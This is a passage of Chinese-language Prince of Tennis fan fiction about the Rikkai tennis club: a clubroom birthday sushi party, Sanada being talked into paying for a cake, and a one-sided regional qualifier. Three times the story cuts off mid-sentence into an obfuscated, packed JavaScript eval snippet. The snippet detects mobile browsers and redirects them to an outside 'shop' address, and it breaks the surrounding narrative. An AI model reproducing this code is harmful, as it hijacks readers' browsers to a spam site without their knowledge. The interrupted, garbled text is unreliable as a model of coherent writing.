被无数电子游戏塑造出来的乖张个性让他只专注于追求第一的目标,并自大地坚信着只要他不断升级,迟早能够得偿所愿,并对除此之外的生活细节抱持着“随便糊弄过去就行”的粗线条态度。 因此切原赤也的每天都状况百出,偏偏他在那乱七八糟的状态中,又稀里糊涂地把校园生活过得还算顺利。 俗话说得好,人和环境总是需要相互适应。 虽然有很多像是柳莲二、柳生比吕士这类模范优等生的成员,但立海网球部中同样也存在不少个性不羁的人物。只不过,在立海这种人精遍地的学校,狡猾的学长们自然早就掌握了在严苛环境中轻松周旋的诀窍,平日一个比一个要潇洒自在,哪怕稍微违反了校规纪律也不会惹上麻烦。 最为经典的例子便是丸井文太与仁王雅治,那二人非常擅长随机应变,对任何风吹草动的嗅觉都特别灵敏,见机不妙时脚底抹油的功力更是登峰造极,无论身处何种境地都能为自己营造出如鱼得水的余裕,可谓是既适应环境,又从不委屈自己的典范。 与他们形成对比的切原赤也又是另一种极端,他太过有个性,导致周围的人总是无法对他放任不管,也就是他周围的环境开始去迁就他的写照。 就跟家务常常属于最看不下去的人来做一个道理,同时身为风纪委员长及网球部副部长的真田弦一郎对切原赤也马马虎虎的纪律意识深恶痛绝,近日努力修行的明镜止水心境屡屡为之破功,追着对方管教和训斥的画面俨然成为立海网球部的每日一景,也给其他爱瞧热闹的学长们带来了无数的乐趣。 还是心地较软的柳莲二看这位直系学弟总是被骂的样子太过可怜,又因为他们家的位置相距不远,后来便开始每天早上去切原家接他一起上学,至少挽救了学弟时常迟到晨训的悲剧。 “真是善良啊,我们的参谋。”仁王感叹。 “真田天天这么费心也是不容易啊。”文太同样一脸感慨。 在这两个净说风凉话的坏心眼学长身后,杰克露出非常复杂的微妙表情。 若是真心感动于别人的付出,你们就别总是煽风点火地逗学弟玩儿啊?上次是谁把在部室大门上设置恶作剧机关的责任全推给切原的?上上次又是谁骗切原爬到樱花树上摘那些酸酸涩涩的果实?你们倒是好好反省一下自己吧。 自从升学到立海后,纵然每日都被学长们过分关照得有些焦头烂额,但切原赤也对丸井文太的日益亲近也是显而易见的事实。 哪怕偶尔会恶趣味地捉弄他一下,不过丸井文太从不端着学长架子,能够用聪明的说话方式调节他的情绪,筹划什么好吃好玩的活动总会邀请他一起,在网球部的时候也时常不着痕迹地照拂着不小心说错话或者做错事的切原赤也。 本来凭笨蛋学弟的情商应该很难领悟到这点,只是单细胞大概也有其赖以为生的野性直觉,能够意识到自己待在丸井学长身边十分自在,于是逐渐卸下了心防。 某日课间,切原赤也好不容易从解读天书般的英语课中解放,刚将发烫的脑袋倒向课桌,放在抽屉里的手机忽然震了一下,屏幕上端弹出一条邮件信息。 「切原,今天没被老师留堂吧?如果现在有空就来部室。」 发件人是丸井文太。 会是什么事呢?切原有气无力地趴在桌上,睁圆眼睛盯着邮件瞧了半晌,忽然一鼓作气起身跑出教室,把他邻桌的同学给吓了一跳。 对方慢半拍反应了一会儿,才将头探出教室,好奇地眨眨眼睛。 “切原急急忙忙的是去哪里?厕所不在那个方向啊。” “该不会是躲风纪委的真田学长吧……”旁边的同学把手臂搭在桌面,单手托腮笑道,“我刚才看到有好几位风纪委员经过走廊,好像是在寻找什么的样子,不知道发生了什么事。” 因为班里也有身在同一社团的同学,切原赤也在网球部惹出的诸多光荣事迹已经广为流传,大家自然都对他频频被真田盯上现状习以为常,并深感同情。 邻桌闻言忍俊不禁,耸了耸肩:“啊哈哈,那他可真惨。” 然而这次切原那些同学们的猜测却尽数落空了。 从教学楼到海林馆的距离颇为遥远,而且通常不会有人无缘无故在非部活的时间来到社办大楼。切原赤也向来在这方面后知后觉,直到踏进馆中才发现自己周边清静得过分,他下意识站住脚步,颈后寒毛竖了一下,眼神警惕地四下环顾。 “呜啊,丸井学长该不会是耍我的吧……” 敢骗我就要你好看。他色厉内荏地在嘴里嘀咕着狠话,同时弓背踮起脚尖斜线前行,试图依靠自己稳健的走位卡住假想敌的视野。这么疑神疑鬼又磨磨蹭蹭着耗费了数分钟,切原赤也终于一步一挪地移动到走廊口,正探头探脑地观察前方状况,裤兜里的手机忽然在无比寂静的环境中又一次震动起来。 “呜哇!”他吓了一跳,只觉心脏好像要从喉咙口里飞出来一样,赶紧手忙脚乱地掏出手机,“怎么回事啊,我这边正在紧要关头呢……” 「喂,你到底来了没啊?再不来我们可就吃完了哦。」 发件人还是丸井文太。 “呃,吃……吃完?” 看见这极具丸井文太作风的留言,切原赤也顿时露出恍然大悟的神情。 十几秒后,他打开网球部活动室的大门,一束光线从他身后照进稍显昏暗的房间,围坐于中央数人下意识向切原赤也的方向投去目光,发现是他之后又很快把头转了回去,继续被中断的闲聊。 “哟,终于出现啦。”丸井文太抬手跟切原赤也打了个招呼,“过来的速度比我预想的慢很多啊。我还以为你路上不小心平地摔然后被好心的同学送去医务室了,刚才正跟杰克讨论要不要去探望你呢。” “哇丸井学长你好过分的猜想。”切原一屁股在他旁边坐了下来,“该不会其实是等不耐烦了于是蓄意诅咒吧。” 然后切原被丸井文太轻轻瞪了一眼。 “真失礼啊你这家伙,口无遮拦的毛病该改改了。” 立海学子向来以修养得体为行事准则,哪怕在讽刺人的时候也只会讲些弯弯绕绕的刻薄话,鲜少把激烈的争执摆上台面,也从不轻易撕破他人颜面,说暗语和打机锋才是那些心高气傲的聪明人最习惯的交流模式,像切原赤也这么直白得没心没肺,又极不客气的说话方式可不多见,简直叫人又爱又恨。 文太抬起手,报复似的狠狠揉了揉他好不容易才打理好的头发,听见切原发出呜呜嗯嗯的哀怨声音之后才稍微满意地放过了他,转而向前伸手拿起一粒章鱼寿司丢进嘴里,同时扬了扬下颌,示意他也可以吃。 “哇——真丰盛啊。”学弟发出一声惊呼。 当下摆在切原赤也面前的是一份豪华得离谱的寿司礼盒大拼盘,里面摆满了三文鱼、鲷鱼、甜虾、烤鳗鱼等等琳琅满目的各式寿司。 他看见最中央的一个寿司上扎着一面用牙签作为杆子的小旗,旗上印刷了河村寿司的商标,怎么看都不像是来自立海学生自助餐厅中的餐品,就算是切原赤也才入学不久,他也记得海风馆才是学校餐厅的名称。 此刻聚集于部室分享寿司的人除了有丸井文太和杰克·桑原,还有幸村精市、柳莲二、仁王雅治和柳生比吕士。 切原赤也左看看右看看,然后把双手撑在自己盘坐的脚踝上,好奇地问:“话说学长啊,你这该不会是……点了外卖?” 在场其他二年级生同时动作停顿了一下。 我们学校允许点外卖吗?他刚想这么说,仁王雅治眼疾手快地把一份黄瓜寿司塞进切原赤也微微张开的嘴巴里。而身为风纪委员的柳生比吕士更是对此视若无睹,微笑着夹起一份金枪鱼大腹,跟身边的幸村精市谈论起鱼肉的用料鲜美。 看破不说破啊,这傻孩子。 丸井文太几乎都要怜爱他了,心想海带学弟长得可爱也是真的可爱,情商笨蛋也是不打折扣的笨蛋。他忍不住伸手戳了戳切原赤也塞满寿司饭的白嫩脸蛋,心说这么笨,以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844708|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就作为立海网球部的宠物好了。 后来还是杰克无奈地叹了口气,告诉切原今天是文太的生日,这才解开他看见学长们课间聚集在部室里分享寿司的困惑。 咦?但这里是不是少了个人? 啊不过这果然还是违反风纪的吧。 正当切原赤也如此漫不经心思考着的时候,柳莲二忽然抬起脸庞,明明刘海下的双眸紧闭,他却好像能透视到墙壁之外一样,用百分百笃定的语气开口:“要来了。” 数据专家的预测向来精准,下一秒他们身后的大门“砰”的一声打开,真田弦一郎戴着黑帽的高大身影犹如战国武将般投入屋内。 切原赤也第一眼没看清他在逆光下的脸色,只觉得副部长周身气势还是一如既往的正气凛然。一时间,自己被对方训斥管教的诸多记忆纷纷涌上脑海,切原赤也下意识地缩起脖子,却没觉察身边其他学长都是一副安之若素的姿态。 “来得真晚啊,弦一郎。看来文太惹出的动静太大,给你添麻烦了。”幸村笑着瞧了文太一眼,语气温柔地责备道,“文太,以后可不能那么疏忽了哦。” 身为部长却默许丸井文太把部室当作躲避风纪委的秘密基地,非但亲自参与,甚至在真田开口之前,就以替他着想的口吻率先出言管教,轻描淡写间便让文太免于直接落到真田手中。 幸村精市这番话不仅顾全了真田弦一郎作为风纪委员长的立场,更在话里话外间狡猾而坚定地袒护着丸井文太的任性。 “抱歉,真田!” 丸井文太见机行事的眼力满分,当即双手合十,用无比诚恳的表现完美接下幸村君递给他的台阶。 他眼睫轻轻扑闪,露出一个好似在诉说自己不是故意的恳切眼神,表情忐忑地望了过去。 “拜托了!因为是过生日,这次就请饶过我……好吗?” 尽管本质上压根就没有认错的意识,不过丸井文太确实有能耐把表面功夫做得无可挑剔,永远能给人足够的情绪价值。 听见真田弦一郎绷着脸对丸井文太说了一句“下不为例”,在一旁围观的仁王雅治挑起眉梢,面上浮现出一个意味深长的微妙笑容,撑在脸旁的手指轻轻扫过唇边的小痣,眼神不自觉地瞄向表情瞬间焕然快乐的丸井文太身上。 “真的?那我还可以再点一份生日蛋糕吗?” 文太凑近窥探真田的神情,立刻得寸进尺地追问。 真田刚要强硬回绝,话都已经到了嘴边,迎着他殷殷期盼的目光,不知怎的就没法说出口。 “算了……随便你。” 那只是极其微弱的一瞬动摇,导致真田道出的话语暴露出了意志的缺口。 然后他眼睁睁看着丸井文太欢呼一声,马上转身拿起手机给学校附近的甜品店打电话,说他要点一份特大的三层黑加仑巧克力慕斯蛋糕,请送到立海大附属中学网球部。 “账单全部由副部长真田弦一郎支付哦。”对着手机,红发少年用得意洋洋的语气大声说,上扬的雀跃语调几乎都要飘上房顶。 “哇啊,副部长这么大方啊,我要对您刮目相看了!” 电话挂断之后,切原第一个惊叹出声,表情中透出真挚的惊喜,实在很难让人认为如此单纯的感慨当中存在任何心机。 “没错,切原,你要好好感激真田的招待哦。”丸井文太实在太懂什么叫见风使舵了,立即接过话头,极为认真地点了点头,“不过这也都是托我过生日的福啦,你也要好好地感谢我。” 海带学弟当即点头如小鸡啄米:“嗯嗯,不愧是丸井学长!” 真田一不留神就被那二人一个有心、一个无意的吹捧高高架起,脸孔上向来严肃的神情不由微微裂开,意识到自己竟然找不到空隙打断文太和切原情绪高涨的一唱一和,因为思路跳脱的他们很快就把话题聊到其他风马牛不相及的地方去了。 喂,我什么时候说要由我来请客的? 他想这么说。 忽然察觉到了投向自己的视线,真田转头,就看见杰克对他投来同道中人的同情目光。 “放弃挣扎吧。”资深请客人沉重地拍了拍他的肩膀,“你已经错过了拒绝的时机,彻底落入到文太的圈套里了。” 真田:“……” 42.File 41 预赛 网球部的迎新季告一段落后,丸井文太很快发现,部活时间在球场外出现的外校人员明显增加了。 “比去年吵闹了不少啊……” 应该还是去年夺冠的影响吧,对内体现为新部员数量成倍增加,对外则表现为前来打探情报的外校人员增多了。 在丸井文太吹着泡泡自言自语的时候,他身边的柳莲二轻笑了一声,双手插在口袋里,流露出一丝藏在漫不经心下的自负。 “想在情报战中赢过我柳莲二,他们还远远不够格。” 立海参谋的傲气并非毫无来由,作为雄踞关东14连霸的强校,且不说他们网球部实力强韧早已是众人皆知的事实,柳莲二身为数据网球的宗师级人物,从去年就已经开始他的情报搜集工作,外校那些人临时抱佛脚,又怎能比得上年级第一的学神早已开始的未雨绸缪? 尽管这个现象在部分新部员当中引起了议论,不过立海的训练向来忙碌紧凑,他们很快也就没有余力再去关注那些无关人士。高年级的学长也在私底下告诉学弟们,没必要大惊小怪,早晚都要对这样的情况习以为常的,因为他们是名门立海的学生,无论在学业还是运动方面,出类拔萃和备受瞩目都是理所应当的结果,往后所有人都将在培养和维护身为立海学子的尊严的路途上奋战拼搏,大家心之所向,即为行之所往。 所谓代代传承的立海精神,便是在这般耳濡目染之中让优秀成为一种无需言说的自觉。 然后,很快便到了湘南地区的预选赛。 比赛前夜下了一点小雨,在拂晓时分仍淅淅沥沥地敲击着玻璃,让文太下意识地往温暖的被窝里缩了缩,睡得乱糟糟的碎发在床单上散开,柔软脸颊泛着陶醉的红晕。 “啊……不好,今天还得早起!” 他猛然惊醒,一个打挺从床上弹起,匆匆忙忙换好衣服后跑下二楼,打开冰箱翻找食材并开火热锅,接连“咔”“咔”两声,他仅用单手就漂亮地打好了两个鸡蛋,两枚蛋黄连着蛋液一同流畅地滑入油中,激起一股美味的焦香。 丸井家的餐桌旁有一面很大的窗户,随着天色渐明,阵雨渐止,只剩屋檐下偶尔滴落些许潮湿的雨滴,光线澄澈透亮,红发少年青春洋溢的漂亮脸庞在水珠映照的微光中一闪而过。 文太把自己做好的早饭端上桌子,独自在寂静的清晨里合起手掌说了一句“我开动了”,把盘子里的食物吃得干干净净,然后心满意足地说着“我吃饱了”,把碗筷都洗干净,才去拿出门要带的网球包。 比赛日通常安排在周末。对丸井家里的大人们来说,周末代表着无需工作的休息日;对他两个尚在幼稚园的弟弟来说,周末是可以在家里看一整天奥特曼节目的日子;然而,不同于能够毫无负担地睡到日上三竿的家里人,一手包揽做饭工作的丸井文太连在周末也时常是清晨起床。 根据立海网球部的出勤规定,除了上学日的晨训和晚训之外,每个周六也是风雨无阻的训练时间,上午开展基础训练,下午则会轮流安排与高中网球部和大学网球部联合练习。至于周日,每月的第2、4周的周日是远征到外校打练习赛的日子,但在春季学期,若远征练习赛恰好与正式赛撞期,便会将该安排顺延至下一个周日。 也就是说,平时每月仅有两天休息,而从这个月至全国大赛结束,正选队员每月甚至可能只有一天、乃至没有休息日。 这是其他学校的人第一次听闻都会大呼魔鬼的训练日程,往往会让人觉得立海网球部的训练犹如炼狱般艰苦。可对于视网球如生命一部分的部长幸村精市、严于律己的副部长真田弦一郎,还有精打细算着把人潜能开发到极致的参谋柳莲二看来,或许才只是刚刚好的程度吧。 尽管无法达到那三位的程度,但丸井文太对网球恰好怀有足够抵消抱怨的热忱,他的性格也足够清醒理智,明白想要变强,就必须付出相应的努力,所以哪怕心中惋惜网球部每年都留不住太多新人,却也打心底里认可立海的训练方针。 就是陪弟弟们玩的时间变少了,肯定会被那两个小家伙抱怨吧。文太一边如此思索一边检查着自己的球拍,略微无奈地叹了声气。 干脆下次休息的时候带弟弟们去游乐园玩吧。 他把网球包挎到肩膀,单手拽着肩带,纤细手腕上一如既往戴着负重护腕。地区预赛这种程度,应该还不需要摘下来吧,文太轻松地想道,脸颊轻轻鼓起,吹出一个漂亮的泡泡。 湘南地区大会于周日早上9点正式开赛,立海作为首场比赛轮空的第一种子校,到场时间可延后至10点。虽说如此,遵照真田的要求,文太还是在7点就到学校网球部集合晨训到8点半,然后才跟其他队友一同搭乘电车到会场报到。 在车上坐着的时候,文太察觉到身边的杰克似乎有些心神不定,他见状忽然开口:“我有点饿了——” 撒娇般的语气拖得极长。 “喂文太,今天可不是秋游啊。” 原本神思不属的混血少年顿时将注意力全转移到了他身上,应该是在担心饿肚子会影响比赛状态吧,脸上浮现出左右为难的表情。文太抬眼瞧向一脸紧张的杰克,蓦地抿起唇尖笑了笑,轻轻说了声“骗你的”,把含在嘴里的草莓硬糖用舌头推了推,咬在齿间展示给杰克看。 “放心吧,今天我的糖分很足哦。” 他像在偷偷分享什么作战机密似的,煞有介事地悄声说,然后表情活泼地眨眨眼睛,眼神狡黠灵动,明媚的眉眼间仿佛撒上了闪闪发光的糖晶,洋溢出百分百的可爱能量。 其他队友看见这一幕,也忍不住纷纷莞尔一笑。 举办比赛的场所是藤泽的一处网球森林公园,他们抵达会场的时候气氛已是十分热闹,网球场上还有尚未结束第一轮选拔的学校仍在比赛,也有一些正在准备下一轮的学校正围聚议事。 立海校队以部长幸村精市为首,从踏入会场的第一时间就吸引来了四面八方的视线。别校学生不约而同地将目光投向道路中央,所过之处就连原本在交谈的人也渐渐噤声,怀着紧张或仰慕的视线盯着他们的背影。 这就是去年的全国冠军,立海大附属中学。 队伍打头的三强早在去年就已名扬全国,以新生之姿成为立海的绝对核心,其天赋实力之强,被誉为鬼才也毫不为过。其后两名三年级的队员也是众人皆知的名将,在二年级时就已进入正选队伍,并在正式赛中打出过出色成绩。但让他校人员稍微惊讶的是立海另外三名新面孔正选竟看起来都是二年级队员,能从人才济济、奉行丛林法则的立海队内脱颖而出,甚至打败其他经验更深厚的三年级前辈,可见他们也绝非泛泛之辈。 公园入口有个中年男子早已守候多时,他一看见立海选手步入大赛会场,立刻将脖子上悬挂的相机捧在手中,镜头对准身着明黄队服的一众少年。 井上守是《月刊职业网球》的资深记者,专门负责报道中学生的网球新闻。他所在的杂志社本部位于东京,在本月全国各地区的预选赛都举办得如火如荼之际,井上却特地来到神奈川的湘南地区观赛,其目标可谓昭然若揭——那便是获取去年冠军队的第一手新闻素材。 他相信全国关心中学生网球赛事的人一定都很关注立海今年的出赛阵容,这份关注便意味着杂志销量,井上作为新闻人自然不会放过这个绝对热点。 他站在树下连连按下快门,并凝神辨认着立海今日出阵的每一名队员,目光仔细从他们的脸庞上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无论是这帮人每一年每一届都统一自视甚高的言行举止,还是言谈间恰到好处的礼貌距离,乃至那仿佛连自负也同出一脉的强大气场,都彰显出极度鲜明的立海烙印。 外校的人纵然旁观,也觉得他们的队伍带有一股生人莫近的威慑气质,尚未对战便已在士气上矮了一截。 这就是将不容败北的自负化为执意求胜的决心,以常胜为戒律,勇往直前、自尊超强的不败军团——立海大附属中学。 当其他人都下意识避让开立海队伍的时候,他们前进方向的道路尽头,却有个一看就血气方刚的少年不闪不避地站在路中央,那双不屈的眼神好似在说凭什么要给你们让路一样,双手紧握成拳,两臂肌肉浮现出紧绷的线条,全身都写满了敌意和戒备。 如此明晃晃地拦在队伍前方。 这是对立海的挑衅吧? 正当其他人以为双方会形成对峙的时候,随着双方的距离越来越近,只见幸村精市脸上始终带着云淡风轻的神情,他的步伐不变,他的队员们自然也不躲不避,以从容的脚步跟在部长身后。 在众目睽睽之下,领头人飘扬的外套袖子轻轻拂过那少年的手臂。 随后,其他立海队员错落经过的脚步声也接连传入对方耳中。 丸井文太勾起唇角,故意在两人并肩的瞬间开口:“喂——” 他能感觉到对方的肩膀颤动了一下。 “我们应该是第一个上场对吧?杰克。”文太目不斜视,慢吞吞地接上后半句话,脚步始终悠闲地跟在幸村身后,用随意的语调说,“等下跟我一起热身吧。” “OK。” 完全摸清他坏心思的杰克·桑原十分配合他的恶作剧,平静地回应了丸井文太的明知故问。 43.File 42 气势 立海一行人仿佛存心对前方选手视而不见,从容自若地经过对方,队中每人的唇边都带着气质极为相似的弧度,淡然、矜持,以及藏不住的傲气……优越感不言自明,那是属于优等生的高高在上的笑容,典型的立海式微笑。 被他们落在身后的少年忍不住紧咬牙关,回首望向他们如闲庭信步的背影,眼神流露出强烈的不甘之意。 “神城。” 路边一名与他穿着相同青绿色运动服的队友唤出那少年的名字,对方有一头时髦的橙黄卷发,戴着白色的鸭舌帽,脸上虽带着一丝无奈的笑,却用仿佛什么都没看见般的语气招呼道:“我找你好久了,快回去吧,华村老师正在找你呢。” 等自己的同伴依言离开,那个人——城成湘南的若人弘,也就是在去年秋天新人战中与立海学生打过照面的选手——将视线转向立海队伍中的几个眼熟脸孔,表情逐渐严肃。 “仁王、丸井、桑原……”他低低念出自己心中难以忘怀的这几个名字,想必从今日往后,将会有越来越多人知道他们吧。而这些家伙又会目中无人到几时呢?到底要抵达什么水准,才有资格被他们放在眼里、记住名姓呢? 据若人弘所知,这三人后来在新人战中都打出了极高的名次。尽管和自己是同龄人,他们身在那所名校,却好像理所当然地注定要将别人都远远甩在身后一般。 真让人不爽。 毕竟,没有比无视更让人感到屈辱的态度了。 立海压根没有将地区预赛的所有对手放在眼里。 哪怕他们从未将这想法诉诸于口,队伍中每个人都非常平静,却有一种仿佛是共识的氛围弥漫于会场。 “立海大附属中学参赛选手8名,全员到齐。” 部长幸村精市在报到处工作人员的面前停下脚步。他递出一份写有出赛队员名字的登记表,温润柔和的声调让人如沐春风,言行举止更是周全得无可指摘。 然而他身后的队伍实在太有存在感,那仿佛浑然一体的氛围让外人只敢远观,心中下意识浮现出望而却步的念头,只能默默无言地投去凝望的视线,看着幸村唯独对他的队员们展现出带有一丝凌厉意味的强势笑容。 “为了实现我们立海的全国二连霸,今天的比赛就是起点。”幸村环顾周身认真倾听他话语的队友,眉梢轻轻上挑,“相信大家都不需要我强调该怎么做了吧。真田,你觉得呢?” 真田厉声呐喊:“大家听好了。决不允许败北,绝不容忍失误!我们要全胜出线!” “喔——!!!” 据说在很久很久以前,立海网球部并没有必须由校队正选代表学校参与外战的规矩。后备队员常常被安排在水准较低的地区预赛和神奈川县大赛中出场,而正选队员则会温存实力,直到关东大赛才全员出阵。 但在有一年,由于湘南地区出现一所黑马学校,并将最强的阵容安排在前三场比赛,导致立海连地区预赛都未能出线,被网球部视为绝不可忘的耻辱。 从此以后,只有实力通过网球部内残酷淘汰的正选才被允许以学校代表的身份出战,不能在外战中败北的意识被深深灌输进网球部员的精神中。也正是这种成为正选就必须背负一校荣辱的传统被深记教训的前辈们代代发扬光大,后来才铸就了立海连续14年制霸关东的辉煌。 丸井文太不知道那往事究竟是多少年以前的历史了,因为从他出生那年起,立海网球部就已经很强,是年年都能在全国大赛中角逐冠军的老牌名校。 这所学校历史悠久,历经多年传承,逐渐发展为一种能够被称作立海文化的精神风貌,并潜移默化地影响和塑造着在此学习和成长的学生。 我要赢。 我拼尽全力争取到资格,踏上这片场地,所追寻的目标就只有一个—— 丸井文太把身前的拉链一扯到底,将从肩膀滑下的外套抛到球包上。临上阵前,他的目光与在教练席端坐的幸村精市视线交错,凝望着那双深邃如海的眼眸,丸井文太对着他的主将微微颔首,随后脸庞上扬起一个愉快万分的漂亮笑容,紫眸波光流转,意气风发的锐光在瞳仁深处辗转闪烁,让他一双清冽明朗的眼睛锋芒毕现。 “走吧,搭档。”文太目视前方,轻快地说。 “嗯。”杰克上前一步,与他并肩而立。 视野前方就是球场与艳阳蓝天,他们一同从休息区檐下的阴影中走出,背影很快融入在明亮得炫目的日光中。立海队服的衣摆在微风中轻轻飘动,T恤衫的褶皱忽浅忽深,让人一眼便可扫见他们脊背上蝴蝶骨凹凸分明的轮廓线条,衬得身形劲瘦修长,这个年纪的少年连背影都溢满青春气息。 “Game,立海,6-0!” 大赛为五局三胜制,按照两场双打和三场单打的顺序举行,每所学校的首次比赛必须五场比赛全部打满。话虽如此,以丸井桑原组合打头阵,双打一的仁王和柳、单打的两名前辈以及真田,每场比赛都以干脆利落的全胜战绩落幕,说是势如破竹也不为过,对手毫无招架之力,回过神来已被送上五个零蛋,飞快结束了今年的大赛半日游。 “多谢指教!” 在比赛结束后,双方隔着球网相互鞠躬,对手学校的选手在直起身后远远遥望着立海队员逐渐远去的身影,脸上不自觉浮现出一抹苦笑。 说句实话,他们都认命了。严格来说,整个湘南地区乃至神奈川全域,都可以视作被立海统治的后花园。每年其他学校抽签前都在求神拜佛,祈祷他们千万不要和立海分在一起。 因为地区预赛只有两个出线名额,倘若自己学校能抽签分到立海对面半区,说不定还存在些许出线希望,实力不错的队伍甚至有望看到关东大赛乃至全国大赛的风景,一旦与立海分到相同赛区,被早早淘汰的结果几乎已经命中注定。 这所学校给人带来的印象只有四个字:无懈可击。 不但实力强大,而且纪律严明,实在让人望而生畏。 强校是有虹吸效应的,在整个神奈川县的上百所小学中,但凡在网球领域抱有雄心壮志的少年,哪个不想成为立海的学生? 看看历年JR大赛中那些夺得奖项的高位选手,调查一下他们小学毕业后的去向,结论便昭然若揭。绝大多数人后来都考入了立海,哪怕这所学校的偏差值极高,学生成绩优越,是神奈川数一数二的名门校,堪称苛刻的分数线也拦不住大家趋之若鹜。 甚至进入立海也不代表万事大吉,为了竞争优中择优的正选资格,所有人在网球部仍要卷生卷死。那所学校的日常训练量几乎是别的学校的两倍以上,而且据说他们正选又在普通部员的基础 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857058|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上再翻数倍,令人难以想象他们是如何活下来的。 随着优秀人才不断向立海汇聚,此消彼长之下,立海的统治力愈发坚不可摧。 场中败者心中的万千感慨,外人难以体会,场外也有双方学校未参赛的部员前来观战助威,立海这边的氛围从一开始就十分轻松,有学长给新生讲解规则和分析技巧,有人独自观摩学习,也有人边看比赛边悠闲评论聊天,偶尔在关键球得分时,人群中才传出零星的欢呼声,几乎从未出现大规模的加油呐喊。 毕竟比赛结束得太快了,完全是一边倒,对抗的激烈程度甚至还不如他们部内的训练赛。 刚从部内选拔脱颖而出的正选去参加外战,很容易也会心生类似的感慨。因为外校实力良莠不齐,有些对手甚至连他们普通部员的水准都不及,更遑论后备队员,乃至校队正选了。 “这种程度让我打也绰绰有余吧。” 看着场上很快结束的比赛,站在铁丝网后面的切原赤也毫不遮掩地打了一个大大的呵欠,表情不爽地嘀嘀咕咕,显然还在对他无法出场一事不满,嘴巴撅得能挂水壶。 湖绿色眸子无聊地扫过站在自己附近的记者大叔,只觉得对方捧着相机狂拍学长们的样子蠢透了。他知道大家压根就没拿出真本事吗? 丸井文太走出球场时第一眼就发现了他闹别扭的样子,当即笑嘻嘻地走过去,抬手揉乱学弟本就乱糟糟的卷发。 “哟,切原。看到我的天才表现没有?” 脑袋被他一手按着晃来晃去的切原表情愈发郁闷,斜眼瞄了他一下,接着把眼一闭,别过头赌气道:“没有——” “哎呀,那你可亏大了。”文太弯下腰,伸手戳他略带婴儿肥的脸颊,又戳他眉间蹙起的竖痕,手指动作灵巧迅捷,总是能在切原扭头躲避之前得逞。 当切原忍不住快要发脾气之前,这位总是开朗过头的学长忽然压低声线,用故弄玄虚的声调逗他道:“不要绷着脸啦,小小年纪总皱眉头,可是会老得很快哦,切原你不想变成真田那样吧?” “咦,副部长吗?”切原一下就信了文太的胡言乱语,眼睛睁圆,惊讶地抬高声量。 “嘘——!” 丸井文太发现远处真田弦一郎朝他们的方向转了一下头,赶紧装作很忙的样子躲开对方视线,搂住切原赤也的肩膀带人走开,边走还边用恨铁不成钢的语气低声道:“笨蛋,别总是大呼小叫的,你又想挨训吗?听我说,保持青春的秘诀就是心情愉快,每天吃好玩好,所以别老是一个人怄气。你要是能学到我万分之一的天才特质,就不会总是那么笨蛋了。” “丸井学长你那明明就是幼稚吧。”切原赤也扁起嘴巴,微微不服,“而且还三天两头喊我笨蛋笨蛋的……” “那是因为你本来就是笨蛋。”丸井文太用理直气壮的语气堵回了学弟的小小质疑,眼眸在睫毛扑闪之际掠过一丝玩味,又很快被他用滴水不漏的笑容掩去,狡猾地说,“就像我知道自己是天才,笨蛋才会意识不到自己是个笨蛋。” 被他这蛮横逻辑绕糊涂的切原哽了半晌,努力思考又思考,都想不明白该怎么反驳这番话语,大脑仿佛要过载燃烧,都快冒出焦糊味了。 “那是什么歪理嘛——” 最后他无力地吐槽了一声,选择停机摆烂。 44.File 43 关照 以丸井文太的情商,要哄好一个不高兴的学弟完全不在话下。 不远处的其他队员看向他们,只见红发少年亲昵地凑近那位超级新人,才几句话的功夫,对方便不自觉地收敛起了浑身的不驯气质,眼睛望向他笑容狡黠的脸庞。 丸井文太的好人缘还是一如既往的所向披靡。 切原赤也自己可能都没意识到,他现在已经完全不会躲开丸井文太日常伸手揉他头发的动作,像是勾肩搭背和把他当玩具一样捏来碰去的动作也都不再抗拒,大有躺平放弃挣扎的意味。 反正丸井学长头脑确实很灵活,这他从不否认。性格也好,风趣活泼,包容心强,为人亲切,是难得能在游戏、漫画和网球等话题上都跟切原赤也相谈甚欢的人,与他的相处时光总是非常轻松。 柳莲二见丸井文太三言两语便把小学弟使唤去帮他买饮料,笑着道:“终于舍得放过杰克了?” 众所周知,文太最喜欢使唤杰克做这做那,杰克也向来愿意纵容文太的任性。虽说杰克看起来总是吃亏的那一方,但据柳所知,似乎还有不少喜欢文太的人觊觎着杰克在他心中的位置,文太周围从来不缺愿意为他效劳的人。 毕竟丸井文太总是很受人欢迎,身上有一种自然流露的可爱气质。他不仅擅长察言观色,言行举止也格外讨人喜欢,既有从不拖泥带水的爽快一面,也总是细腻地体贴着身边的人。所以无论是学长还是同年级的队友,或是他的后辈们,大家都很容易在他面前卸下心防。 丸井文太面对柳莲二的打趣,脸上一点不好意思的心虚都没有。他双手插兜,老神在在道:“那小子精力过于旺盛,给他找点事做才不会折腾我们。” 作为家中有两个学龄前弟弟的长兄,没有人比他更擅长管束这种调皮过头的男孩。 